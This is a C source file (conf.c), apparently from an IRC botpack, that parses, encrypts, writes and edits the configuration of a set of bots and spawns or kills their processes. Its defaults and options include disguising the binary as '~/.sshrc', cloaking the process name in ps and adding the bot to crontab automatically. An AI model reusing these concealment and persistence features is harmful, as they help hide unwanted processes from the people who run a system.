conf.c 22 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422423424425426427428429430431432433434435436437438439440441442443444445446447448449450451452453454455456457458459460461462463464465466467468469470471472473474475476477478479480481482483484485486487488489490491492493494495496497498499500501502503504505506507508509510511512513514515516517518519520521522523524525526527528529530531532533534535536537538539540541542543544545546547548549550551552553554555556557558559560561562563564565566567568569570571572573574575576577578579580581582583584585586587588589590591592593594595596597598599600601602603604605606607608609610611612613614615616617618619620621622623624625626627628629630631632633634635636637638639640641642643644645646647648649650651652653654655656657658659660661662663664665666667668669670671672673674675676677678679680681682683684685686687688689690691692693694695696697698699700701702703704705706707708709710711712713714715716717718719720721722723724725726727728729730731732733734735736737738739740741742743744745746747748749750751752753754755756757758759760761762763764765766767768769770771772773774775776777778779780781782783784785786787788789790791792793794795796797798799800801802803804805806807808809810811812813814815816817818819820821822823824825826827828829830831832833834835836837838839840841842843844845846847848849850851852853854855856
  1. /*
  2. * conf.c -- handles:
  3. *
  4. * all of the conf handling
  5. */
  6. #include "common.h"
  7. #include "conf.h"
  8. #include "shell.h"
  9. #include "binary.h"
  10. #include "debug.h"
  11. #include "chanprog.h"
  12. #include "crypt.h"
  13. #include "main.h"
  14. #include "settings.h"
  15. #include "misc.h"
  16. #include "misc_file.h"
  17. #include <errno.h>
  18. #include <paths.h>
  19. #include <sys/types.h>
  20. #include <sys/wait.h>
  21. #include <sys/stat.h>
  22. #include <signal.h>
  23. char cfile[DIRMAX] = "";
  24. conf_t conf; /* global conf struct */
  25. conf_t conffile; /* just some config options only avail during loading */
  26. static void
  27. tellconf(conf_t * inconf)
  28. {
  29. conf_bot *bot;
  30. int i = 0;
  31. sdprintf("uid: %d\n", inconf->uid);
  32. sdprintf("uname: %s\n", inconf->uname);
  33. sdprintf("homedir: %s\n", inconf->homedir);
  34. sdprintf("binpath: %s\n", inconf->binpath);
  35. sdprintf("binname: %s\n", inconf->binname);
  36. sdprintf("portmin: %d\n", inconf->portmin);
  37. sdprintf("portmax: %d\n", inconf->portmax);
  38. sdprintf("pscloak: %d\n", inconf->pscloak);
  39. sdprintf("autocron: %d\n", inconf->autocron);
  40. sdprintf("autouname: %d\n", inconf->autouname);
  41. sdprintf("watcher: %d\n", inconf->watcher);
  42. sdprintf("bots:\n");
  43. for (bot = inconf->bots; bot && bot->nick; bot = bot->next) {
  44. i++;
  45. sdprintf("%d: %s IP: %s HOST: %s IP6: %s HOST6: %s PID: %d\n", i,
  46. bot->nick,
  47. bot->ip ? bot->ip : "",
  48. bot->host ? bot->host : "", bot->ip6 ? bot->ip6 : "", bot->host6 ? bot->host6 : "", bot->pid);
  49. }
  50. sdprintf("bot:\n");
  51. if (inconf->bot && ((bot = inconf->bot)))
  52. sdprintf("%s IP: %s HOST: %s IP6: %s HOST6: %s PID: %d\n",
  53. bot->nick,
  54. bot->ip ? bot->ip : "",
  55. bot->host ? bot->host : "", bot->ip6 ? bot->ip6 : "", bot->host6 ? bot->host6 : "", bot->pid);
  56. }
  57. #ifdef LEAF
  58. void
  59. spawnbots()
  60. {
  61. conf_bot *bot = NULL;
  62. for (bot = conffile.bots; bot && bot->nick; bot = bot->next) {
  63. if (bot->nick[0] == '/') {
  64. /* kill it if running */
  65. if (bot->pid)
  66. kill(bot->pid, SIGKILL);
  67. else
  68. continue;
  69. } else if (!strcmp(bot->nick, conf.bot->nick) || (bot->pid && !updating)) {
  70. continue;
  71. } else {
  72. int status = 0;
  73. char *run = NULL;
  74. size_t size = 0;
  75. if (updating && bot->pid) {
  76. kill(bot->pid, SIGKILL);
  77. /* remove the pid incase we start the new bot before the old dies */
  78. unlink(bot->pid_file);
  79. }
  80. size = strlen(bot->nick) + strlen(binname) + 20;
  81. run = (char *) calloc(1, size);
  82. egg_snprintf(run, size, "%s -B %s", binname, bot->nick);
  83. sdprintf("Spawning '%s': %s", bot->nick, run);
  84. status = system(run);
  85. if (status == -1 || WEXITSTATUS(status))
  86. sdprintf("Failed to spawn '%s': %s", bot->nick, strerror(errno));
  87. free(run);
  88. }
  89. }
  90. }
  91. int
  92. killbot(char *botnick)
  93. {
  94. conf_bot *bot = NULL;
  95. for (bot = conffile.bots; bot && bot->nick; bot = bot->next) {
  96. if (bot->nick[0] == '/')
  97. continue;
  98. else if (!egg_strcasecmp(botnick, bot->nick)) {
  99. if (bot->pid)
  100. return kill(bot->pid, SIGKILL);
  101. }
  102. }
  103. return -1;
  104. }
  105. #endif /* LEAF */
  106. #ifndef CYGWIN_HACKS
  107. static uid_t save_euid, save_egid;
  108. static int
  109. swap_uids()
  110. {
  111. save_euid = geteuid();
  112. save_egid = getegid();
  113. return (setegid(getgid()) || seteuid(getuid()))? -1 : 0;
  114. }
  115. static int
  116. swap_uids_back()
  117. {
  118. return (setegid(save_egid) || seteuid(save_euid)) ? -1 : 0;
  119. }
  120. void
  121. confedit()
  122. {
  123. Tempfile tmpconf = Tempfile("conf");
  124. char *editor = NULL;
  125. mode_t um;
  126. int waiter;
  127. pid_t pid, xpid;
  128. um = umask(077);
  129. writeconf(NULL, tmpconf.f, CONF_COMMENT);
  130. fclose(tmpconf.f);
  131. (void) umask(um);
  132. if (!can_stat(tmpconf.file))
  133. fatal("Cannot stat tempfile", 0);
  134. /* Okay, edit the file */
  135. if ((!((editor = getenv("VISUAL")) && strlen(editor)))
  136. && (!((editor = getenv("EDITOR")) && strlen(editor)))
  137. ) {
  138. editor = "vi";
  139. /*
  140. #if defined(DEBIAN)
  141. editor = "/usr/bin/editor";
  142. #elif defined(_PATH_VI)
  143. editor = _PATH_VI;
  144. #else
  145. editor = "/usr/ucb/vi";
  146. #endif
  147. */
  148. }
  149. signal(SIGINT, SIG_IGN);
  150. signal(SIGQUIT, SIG_IGN);
  151. signal(SIGCONT, SIG_DFL);
  152. swap_uids();
  153. switch (pid = fork()) {
  154. case -1:
  155. fatal("Cannot fork", 0);
  156. case 0:
  157. {
  158. char *run = NULL;
  159. size_t size = tmpconf.len + strlen(editor) + 5;
  160. setgid(getgid());
  161. setuid(getuid());
  162. run = (char *) calloc(1, size);
  163. /* child */
  164. egg_snprintf(run, size, "%s %s", editor, tmpconf.file);
  165. execlp("/bin/sh", "/bin/sh", "-c", run, NULL);
  166. perror(editor);
  167. exit(1);
  168. /*NOTREACHED*/}
  169. default:
  170. /* parent */
  171. break;
  172. }
  173. /* parent */
  174. while (1) {
  175. xpid = waitpid(pid, &waiter, WUNTRACED);
  176. if (xpid == -1) {
  177. fprintf(stderr, "waitpid() failed waiting for PID %d from \"%s\": %s\n", pid, editor, strerror(errno));
  178. } else if (xpid != pid) {
  179. fprintf(stderr, "wrong PID (%d != %d) from \"%s\"\n", xpid, pid, editor);
  180. goto fatal;
  181. } else if (WIFSTOPPED(waiter)) {
  182. /* raise(WSTOPSIG(waiter)); Not needed and breaks in job control shell */
  183. } else if (WIFEXITED(waiter) && WEXITSTATUS(waiter)) {
  184. fprintf(stderr, "\"%s\" exited with status %d\n", editor, WEXITSTATUS(waiter));
  185. goto fatal;
  186. } else if (WIFSIGNALED(waiter)) {
  187. fprintf(stderr, "\"%s\" killed; signal %d (%score dumped)\n", editor, WTERMSIG(waiter),
  188. # ifdef CYGWIN_HACKS
  189. 0
  190. # else
  191. WCOREDUMP(waiter)
  192. # endif
  193. /* CYGWIN_HACKS */
  194. ? "" : "no ");
  195. goto fatal;
  196. } else {
  197. break;
  198. }
  199. }
  200. (void) signal(SIGINT, SIG_DFL);
  201. (void) signal(SIGQUIT, SIG_DFL);
  202. swap_uids_back();
  203. if (!can_stat(tmpconf.file))
  204. fatal("Error reading new config file", 0);
  205. readconf(tmpconf.file, 0); /* read cleartext conf tmp into &settings */
  206. unlink(tmpconf.file);
  207. conf_to_bin(&conffile); /* will exit */
  208. exit(0); /* never reached */
  209. fatal:
  210. unlink(tmpconf.file);
  211. exit(1);
  212. }
  213. #endif /* !CYGWIN_HACKS */
  214. void
  215. init_conf()
  216. {
  217. conffile.bots = (conf_bot *) calloc(1, sizeof(conf_bot));
  218. conffile.bots->nick = NULL;
  219. conffile.bots->next = NULL;
  220. conffile.bot = NULL;
  221. conffile.watcher = 0;
  222. #ifdef CYGWIN_HACKS
  223. conffile.autocron = 0;
  224. #else
  225. conffile.autocron = 1;
  226. #endif /* !CYGWIN_HACKS */
  227. conffile.autouname = 0;
  228. #ifdef CYGWIN_HACKS
  229. conffile.binpath = strdup(homedir());
  230. #else /* !CYGWIN_HACKS */
  231. # ifdef LEAF
  232. conffile.binpath = strdup(STR("~/"));
  233. # endif /* LEAF */
  234. # ifdef HUB
  235. conffile.binpath = strdup(dirname(binname));
  236. # endif /* HUB */
  237. #endif /* CYGWIN_HACKS */
  238. #ifdef LEAF
  239. conffile.binname = strdup(STR(".sshrc"));
  240. #endif /* LEAF */
  241. #ifdef HUB
  242. {
  243. char *p = NULL;
  244. p = strrchr(binname, '/');
  245. p++;
  246. conffile.binname = strdup(p);
  247. }
  248. #endif /* HUB */
  249. conffile.portmin = 0;
  250. conffile.portmax = 0;
  251. conffile.pscloak = 1;
  252. conffile.uid = 0;
  253. conffile.uname = NULL;
  254. conffile.username = NULL;
  255. conffile.homedir = NULL;
  256. }
  257. /*
  258. * Return the PID of a bot if it is running, otherwise return 0
  259. */
  260. pid_t
  261. checkpid(char *nick, conf_bot * bot)
  262. {
  263. FILE *f = NULL;
  264. char buf[DIRMAX] = "", s[11] = "", *tmpnick = NULL, *tmp_ptr = NULL;
  265. tmpnick = tmp_ptr = strdup(nick);
  266. if (tmpnick[0] == '/')
  267. tmpnick++;
  268. egg_snprintf(buf, sizeof buf, "%s.pid.%s", tempdir, tmpnick);
  269. free(tmp_ptr);
  270. if (bot && !(bot->pid_file))
  271. bot->pid_file = strdup(buf);
  272. else if (bot && strcmp(bot->pid_file, buf))
  273. str_redup(&bot->pid_file, buf);
  274. if ((f = fopen(buf, "r"))) {
  275. pid_t xx = 0;
  276. fgets(s, 10, f);
  277. remove_crlf(s);
  278. fclose(f);
  279. xx = atoi(s);
  280. if (bot) {
  281. int x = 0;
  282. x = kill(xx, SIGCHLD);
  283. if (x == -1 && errno == ESRCH)
  284. return 0;
  285. else if (x == 0)
  286. return xx;
  287. } else {
  288. return xx ? xx : 0;
  289. }
  290. }
  291. return 0;
  292. }
  293. #ifdef HUB
  294. static
  295. #endif /* HUB */
  296. void
  297. conf_addbot(char *nick, char *ip, char *host, char *ip6)
  298. {
  299. conf_bot *bot = NULL;
  300. for (bot = conffile.bots; bot && bot->nick; bot = bot->next) ;
  301. bot->next = (conf_bot *) calloc(1, sizeof(conf_bot));
  302. bot->next->next = NULL;
  303. bot->pid_file = NULL;
  304. bot->nick = strdup(nick);
  305. #ifdef LEAF
  306. if (bot == conffile.bots) {
  307. bot->localhub = 1; /* first bot */
  308. conffile.localhub = strdup(nick ? nick : origbotname);
  309. /* perhaps they did -B localhub-bot ? */
  310. if (origbotname[0] && !strcmp(origbotname, bot->nick))
  311. localhub = 1;
  312. }
  313. #endif /* LEAF */
  314. bot->ip = NULL;
  315. bot->host = NULL;
  316. bot->ip6 = NULL;
  317. bot->host6 = NULL;
  318. if (host && host[0] == '+') {
  319. host++;
  320. bot->host6 = strdup(host);
  321. } else if (host && strcmp(host, ".")) {
  322. bot->host = strdup(host);
  323. }
  324. if (ip && strcmp(ip, "."))
  325. bot->ip = strdup(ip);
  326. if (ip6 && strcmp(ip6, "."))
  327. bot->ip6 = strdup(ip6);
  328. bot->u = NULL;
  329. bot->pid = checkpid(nick, bot);
  330. }
  331. void
  332. free_bot(char *botn)
  333. {
  334. conf_bot *bot = NULL, *old = NULL;
  335. for (bot = conffile.bots; bot && bot->nick; old = bot, bot = bot->next) {
  336. if (!strcmp(botn, bot->nick)) {
  337. free(bot->nick);
  338. free(bot->pid_file);
  339. if (bot->ip)
  340. free(bot->ip);
  341. if (bot->host)
  342. free(bot->host);
  343. if (bot->ip6)
  344. free(bot->ip6);
  345. if (bot->host6)
  346. free(bot->host6);
  347. if (old)
  348. old->next = bot->next;
  349. else
  350. conffile.bots = bot->next;
  351. free(bot);
  352. break;
  353. }
  354. }
  355. }
  356. #ifdef LEAF
  357. int
  358. conf_delbot(char *botn)
  359. {
  360. conf_bot *bot = NULL;
  361. for (bot = conffile.bots; bot && bot->nick; bot = bot->next) {
  362. if (!strcmp(bot->nick, botn)) { /* found it! */
  363. bot->pid = checkpid(bot->nick, bot);
  364. killbot(bot->nick);
  365. free_bot(bot->nick);
  366. return 0;
  367. }
  368. }
  369. return 1;
  370. }
  371. #endif /* LEAF */
  372. static void
  373. free_conf_bots(void)
  374. {
  375. conf_bot *bot = NULL, *bot_n = NULL;
  376. for (bot = conffile.bots; bot; bot = bot_n) {
  377. bot_n = bot->next;
  378. free_bot(bot->nick);
  379. }
  380. }
  381. void free_conf(void)
  382. {
  383. free_conf_bots();
  384. free(conffile.uname);
  385. free(conffile.username);
  386. free(conffile.homedir);
  387. free(conffile.binname);
  388. free(conffile.binpath);
  389. }
  390. int
  391. parseconf()
  392. {
  393. if (!conffile.bots->nick && !conffile.bots->next) /* no bots ! */
  394. werr(ERR_NOBOTS);
  395. if (conffile.username) {
  396. str_redup(&conffile.username, my_username());
  397. } else {
  398. conffile.username = strdup(my_username());
  399. }
  400. #ifndef CYGWIN_HACKS
  401. if (conffile.uid && conffile.uid != myuid) {
  402. sdprintf("wrong uid, conf: %d :: %d", conffile.uid, myuid);
  403. werr(ERR_WRONGUID);
  404. } else if (!conffile.uid)
  405. conffile.uid = myuid;
  406. if (conffile.uname && strcmp(conffile.uname, my_uname()) && !conffile.autouname) {
  407. baduname(conffile.uname, my_uname()); /* its not auto, and its not RIGHT, bail out. */
  408. sdprintf("wrong uname, conf: %s :: %s", conffile.uname, my_uname());
  409. werr(ERR_WRONGUNAME);
  410. } else if (conffile.uname && conffile.autouname) { /* if autouname, dont bother comparing, just set uname to output */
  411. str_redup(&conffile.uname, my_uname());
  412. } else if (!conffile.uname) { /* if not set, then just set it, wont happen again next time... */
  413. conffile.uname = strdup(my_uname());
  414. }
  415. if (conffile.homedir) {
  416. str_redup(&conffile.homedir, homedir());
  417. } else {
  418. conffile.homedir = strdup(homedir());
  419. }
  420. if (strchr(conffile.binpath, '~')) {
  421. char *p = NULL;
  422. if (conffile.binpath[strlen(conffile.binpath) - 1] == '/')
  423. conffile.binpath[strlen(conffile.binpath) - 1] = 0;
  424. if ((p = replace(conffile.binpath, "~", homedir())))
  425. str_redup(&conffile.binpath, p);
  426. else
  427. fatal("Unforseen error expanding '~'", 0);
  428. }
  429. #endif /* !CYGWIN_HACKS */
  430. return 0;
  431. }
  432. int
  433. readconf(char *fname, int bits)
  434. {
  435. FILE *f = NULL;
  436. int i = 0, enc = (bits & CONF_ENC) ? 1 : 0;
  437. char *inbuf = NULL;
  438. sdprintf("readconf(%s, %d)", fname, enc);
  439. Context;
  440. if (!(f = fopen(fname, "r")))
  441. fatal("Cannot read config", 0);
  442. free_conf_bots();
  443. inbuf = (char *) calloc(1, 201);
  444. while (fgets(inbuf, 201, f) != NULL) {
  445. char *line = NULL, *temp_ptr = NULL;
  446. remove_crlf(inbuf);
  447. if (enc)
  448. line = temp_ptr = decrypt_string(settings.salt1, inbuf);
  449. else
  450. line = inbuf;
  451. if ((line && !line[0]) || line[0] == '\n') {
  452. if (enc)
  453. free(line);
  454. continue;
  455. }
  456. i++;
  457. sdprintf("CONF LINE: %s", line);
  458. // !strchr("_`|}][{*/#-+!abcdefghijklmnopqrstuvwxyzABDEFGHIJKLMNOPWRSTUVWXYZ", line[0])) {
  459. if (enc && line[0] > '~') {
  460. sdprintf("line %d, char %c ", i, line[0]);
  461. werr(ERR_CONFBADENC);
  462. } else { /* line is good to parse */
  463. /* - uid */
  464. if (line[0] == '-') {
  465. newsplit(&line);
  466. if (!conffile.uid)
  467. conffile.uid = atoi(line);
  468. /* + uname */
  469. } else if (line[0] == '+') {
  470. newsplit(&line);
  471. if (!conffile.uname)
  472. conffile.uname = strdup(line);
  473. /* ! is misc options */
  474. } else if (line[0] == '!') {
  475. char *option = NULL;
  476. newsplit(&line);
  477. if (line[0])
  478. option = newsplit(&line);
  479. if (!option)
  480. continue;
  481. if (!strcmp(option, "autocron")) { /* automatically check/create crontab? */
  482. if (egg_isdigit(line[0]))
  483. conffile.autocron = atoi(line);
  484. } else if (!strcmp(option, "autouname")) { /* auto update uname contents? */
  485. if (egg_isdigit(line[0]))
  486. conffile.autouname = atoi(line);
  487. } else if (!strcmp(option, "username")) { /* shell username */
  488. conffile.username = strdup(line);
  489. } else if (!strcmp(option, "homedir")) { /* homedir */
  490. conffile.homedir = strdup(line);
  491. } else if (!strcmp(option, "binpath")) { /* path that the binary should move to? */
  492. str_redup(&conffile.binpath, line);
  493. } else if (!strcmp(option, "binname")) { /* filename of the binary? */
  494. str_redup(&conffile.binname, line);
  495. } else if (!strcmp(option, "portmin")) {
  496. if (egg_isdigit(line[0]))
  497. conffile.portmin = atoi(line);
  498. } else if (!strcmp(option, "portmax")) {
  499. if (egg_isdigit(line[0]))
  500. conffile.portmax = atoi(line);
  501. } else if (!strcmp(option, "pscloak")) { /* should bots on this shell pscloak? */
  502. if (egg_isdigit(line[0]))
  503. conffile.pscloak = atoi(line);
  504. } else if (!strcmp(option, "uid")) { /* new method uid */
  505. if (egg_isdigit(line[0]))
  506. conffile.uid = atoi(line);
  507. } else if (!strcmp(option, "uname")) { /* new method uname */
  508. if (!conffile.uname)
  509. conffile.uname = strdup(line);
  510. else
  511. str_redup(&conffile.uname, line);
  512. } else if (!strcmp(option, "watcher")) {
  513. if (egg_isdigit(line[0]))
  514. conffile.watcher = atoi(line);
  515. } else {
  516. putlog(LOG_MISC, "*", "Unrecognized config option '%s'", option);
  517. }
  518. /* read in portmin */
  519. } else if (line[0] == '>') {
  520. newsplit(&line);
  521. conffile.portmin = atoi(line);
  522. } else if (line[0] == '<') {
  523. newsplit(&line);
  524. conffile.portmax = atoi(line);
  525. /* now to parse nick/hosts */
  526. } else if (line[0] != '#') {
  527. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  528. nick = newsplit(&line);
  529. if (!nick || (nick && !nick[0]))
  530. werr(ERR_BADCONF);
  531. if (line[0])
  532. ip = newsplit(&line);
  533. if (line[0])
  534. host = newsplit(&line);
  535. if (line[0])
  536. ipsix = newsplit(&line);
  537. conf_addbot(nick, ip, host, ipsix);
  538. }
  539. }
  540. inbuf[0] = 0;
  541. if (enc)
  542. free(temp_ptr);
  543. } /* while(fgets()) */
  544. fclose(f);
  545. free(inbuf);
  546. return 0;
  547. }
  548. int
  549. writeconf(char *filename, FILE * stream, int bits)
  550. {
  551. FILE *f = NULL;
  552. conf_bot *bot = NULL;
  553. int (*my_write) (FILE *, const char *, ... ) = NULL;
  554. char *p = NULL;
  555. if (bits & CONF_ENC)
  556. my_write = lfprintf;
  557. else if (!(bits & CONF_ENC))
  558. my_write = fprintf;
  559. #define comment(text) \
  560. if (bits & CONF_COMMENT) \
  561. my_write(f, "%s\n", text);
  562. if (stream) {
  563. f = stream;
  564. } else if (filename) {
  565. if (!(f = fopen(filename, "w")))
  566. return 1;
  567. }
  568. #ifndef CYGWIN_HACKS
  569. comment("# Lines beginning with # are what the preceeding line SHOULD be");
  570. comment("# They are also ignored during parsing\n");
  571. my_write(f, "! uid %d\n", conffile.uid);
  572. if ((bits & CONF_COMMENT) && conffile.uid != myuid)
  573. my_write(f, "#! uid %d\n\n", myuid);
  574. if (!conffile.uname || (conffile.uname && conffile.autouname && strcmp(conffile.uname, my_uname()))) {
  575. comment("# Automatic");
  576. my_write(f, "! uname %s\n", my_uname());
  577. } else if (conffile.uname && !conffile.autouname && strcmp(conffile.uname, my_uname())) {
  578. my_write(f, "! uname %s\n", conffile.uname);
  579. comment("# autouname is OFF");
  580. my_write(f, "#! uname %s\n\n", my_uname());
  581. } else
  582. my_write(f, "! uname %s\n", conffile.uname);
  583. my_write(f, "! username %s\n", conffile.username ? conffile.username : my_username());
  584. if (conffile.username && strcmp(conffile.username, my_username()))
  585. my_write(f, "#! username %s\n", my_username());
  586. my_write(f, "! homedir %s\n", conffile.homedir ? conffile.homedir : homedir());
  587. if (conffile.homedir && strcmp(conffile.homedir, homedir()))
  588. my_write(f, "#! homedir %s\n", homedir());
  589. comment("\n# binpath needs to be full path unless it begins with '~', which uses 'homedir', ie, '~/'");
  590. if (strstr(conffile.binpath, homedir())) {
  591. p = replace(conffile.binpath, homedir(), "~");
  592. my_write(f, "! binpath %s\n", p);
  593. } else
  594. my_write(f, "! binpath %s\n", conffile.binpath);
  595. comment
  596. ("# binname is relative to binpath, if you change this, you'll need to manually remove the old one from crontab.");
  597. my_write(f, "! binname %s\n", conffile.binname);
  598. comment("");
  599. comment("# portmin/max are for incoming connections (DCC) [0 for any]");
  600. my_write(f, "! portmin %d\n", conffile.portmin);
  601. my_write(f, "! portmax %d\n", conffile.portmax);
  602. comment("");
  603. comment("# Attempt to \"cloak\" the process name in `ps` for Linux?");
  604. my_write(f, "! pscloak %d\n", conffile.pscloak);
  605. comment("");
  606. comment("# Automatically add the bot to crontab?");
  607. my_write(f, "! autocron %d\n", conffile.autocron);
  608. comment("");
  609. comment("# Automatically update 'uname' if it changes? (DANGEROUS)");
  610. my_write(f, "! autouname %d\n", conffile.autouname);
  611. comment("");
  612. comment("# This will spawn a child process for EACH BOT that will block ALL process hijackers.");
  613. my_write(f, "! watcher %d\n", conffile.watcher);
  614. comment("");
  615. comment("# '|' means OR, [] means the enclosed is optional");
  616. comment("# A '+' in front of HOST means the HOST is ipv6");
  617. comment("# A '/' in front of BOT will disable that bot.");
  618. comment("#[/]BOT IP|. [+]HOST|. [IPV6-IP]");
  619. #endif /* CYGWIN_HACKS */
  620. for (bot = conffile.bots; bot && bot->nick; bot = bot->next) {
  621. my_write(f, "%s %s %s%s %s\n", bot->nick,
  622. bot->ip ? bot->ip : ".", bot->host6 ? "+" : "",
  623. bot->host ? bot->host : (bot->host6 ? bot->host6 : "."), bot->ip6 ? bot->ip6 : "");
  624. }
  625. fflush(f);
  626. if (!stream)
  627. fclose(f);
  628. return 0;
  629. }
  630. static void
  631. conf_bot_dup(conf_bot * dest, conf_bot * src)
  632. {
  633. dest->nick = src->nick ? strdup(src->nick) : NULL;
  634. dest->pid_file = src->pid_file ? strdup(src->pid_file) : NULL;
  635. dest->ip = src->ip ? strdup(src->ip) : NULL;
  636. dest->host = src->host ? strdup(src->host) : NULL;
  637. dest->ip6 = src->ip6 ? strdup(src->ip6) : NULL;
  638. dest->host6 = src->host6 ? strdup(src->host6) : NULL;
  639. dest->u = src->u ? src->u : NULL;
  640. dest->pid = src->pid;
  641. #ifdef LEAF
  642. dest->localhub = src->localhub;
  643. #endif /* LEAF */
  644. dest->next = NULL;
  645. }
  646. void
  647. fillconf(conf_t * inconf)
  648. {
  649. conf_bot *bot = NULL;
  650. char *mynick = NULL;
  651. if (localhub && conffile.bots && conffile.bots->nick) {
  652. mynick = strdup(conffile.bots->nick);
  653. strncpyz(origbotname, conffile.bots->nick, NICKLEN + 1);
  654. } else
  655. mynick = strdup(origbotname);
  656. for (bot = conffile.bots; bot && bot->nick; bot = bot->next)
  657. if (!strcmp(bot->nick, mynick))
  658. break;
  659. if (bot->nick && bot->nick[0] == '/')
  660. werr(ERR_BOTDISABLED);
  661. if (!bot->nick || (bot->nick && strcmp(bot->nick, mynick)))
  662. werr(ERR_BADBOT);
  663. free(mynick);
  664. inconf->bot = (conf_bot *) calloc(1, sizeof(conf_bot));
  665. conf_bot_dup(inconf->bot, bot);
  666. inconf->localhub = conffile.localhub ? strdup(conffile.localhub) : NULL;
  667. inconf->binpath = conffile.binpath ? strdup(conffile.binpath) : NULL;
  668. inconf->binname = conffile.binname ? strdup(conffile.binname) : NULL;
  669. inconf->uname = conffile.uname ? strdup(conffile.uname) : NULL;
  670. inconf->username = conffile.username ? strdup(conffile.username) : NULL;
  671. inconf->homedir = conffile.homedir ? strdup(conffile.homedir) : NULL;
  672. inconf->autocron = conffile.autocron;
  673. inconf->watcher = conffile.watcher;
  674. inconf->autouname = conffile.autouname;
  675. inconf->portmin = conffile.portmin;
  676. inconf->portmax = conffile.portmax;
  677. inconf->pscloak = conffile.pscloak;
  678. inconf->uid = conffile.uid;
  679. }
  680. void
  681. bin_to_conf(void)
  682. {
  683. /* printf("Converting binary data to conf struct\n"); */
  684. conffile.uid = atol(settings.uid);
  685. conffile.username = strdup(settings.username);
  686. conffile.uname = strdup(settings.uname);
  687. conffile.homedir = strdup(settings.homedir);
  688. conffile.binpath = strdup(settings.binpath);
  689. conffile.binname = strdup(settings.binname);
  690. conffile.portmin = atol(settings.portmin);
  691. conffile.portmax = atol(settings.portmax);
  692. conffile.autouname = atoi(settings.autouname);
  693. conffile.autocron = atoi(settings.autocron);
  694. conffile.watcher = atoi(settings.watcher);
  695. conffile.pscloak = atoi(settings.pscloak);
  696. /* BOTS */
  697. {
  698. char *p = NULL, *tmp = NULL, *tmpp = NULL;
  699. tmp = tmpp = strdup(settings.bots);
  700. while ((p = strchr(tmp, ','))) {
  701. char *nick = NULL, *host = NULL, *ip = NULL, *ipsix = NULL;
  702. *p++ = 0;
  703. if (!tmp[0])
  704. break;
  705. nick = newsplit(&tmp);
  706. if (!nick || (nick && !nick[0]))
  707. werr(ERR_BADCONF);
  708. if (tmp[0])
  709. ip = newsplit(&tmp);
  710. if (tmp[0])
  711. host = newsplit(&tmp);
  712. if (tmp[0])
  713. ipsix = newsplit(&tmp);
  714. conf_addbot(nick, ip, host, ipsix);
  715. tmp = p++;
  716. }
  717. free(tmpp);
  718. }
  719. tellconf(&conffile);
  720. }